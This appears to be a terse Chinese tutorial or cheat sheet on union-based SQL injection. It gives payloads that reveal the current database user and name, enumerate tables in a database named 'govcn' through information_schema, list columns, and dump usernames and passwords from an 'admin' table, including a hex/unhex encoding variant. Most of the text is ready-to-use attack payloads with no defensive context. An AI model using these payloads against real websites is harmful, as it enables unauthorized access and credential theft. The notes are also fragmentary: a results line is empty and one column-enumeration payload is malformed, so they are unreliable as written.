4.爆出敏感信息
1.爆出当前用户名和数据库名
union select 1,2,user(),database(),4
2.爆出govcn数据库中包含的数据表
union select 1,table_name,3,4 from information_schema.tables where table_schema="govcn" 通过group_concat()函数可以显示字段中的所有内容。
得出结果:
5.利用information_schema查看其他数据库的内容
1.查看test数据库中包含了那些表
select table_name from information_schema.tables where table_schema="test";
2.查看hack数据表中包含了哪些字段
select column_name from information_schema.columns where table_name="hack";
爆字段名:
union select 1,username,password,4 from information_schema.columns where table_name="admin"
爆用户名和密码
union select 1,username,password,4 from admin
union select 1,unhex(hex(username)),unhex(hex(password)),5 from admin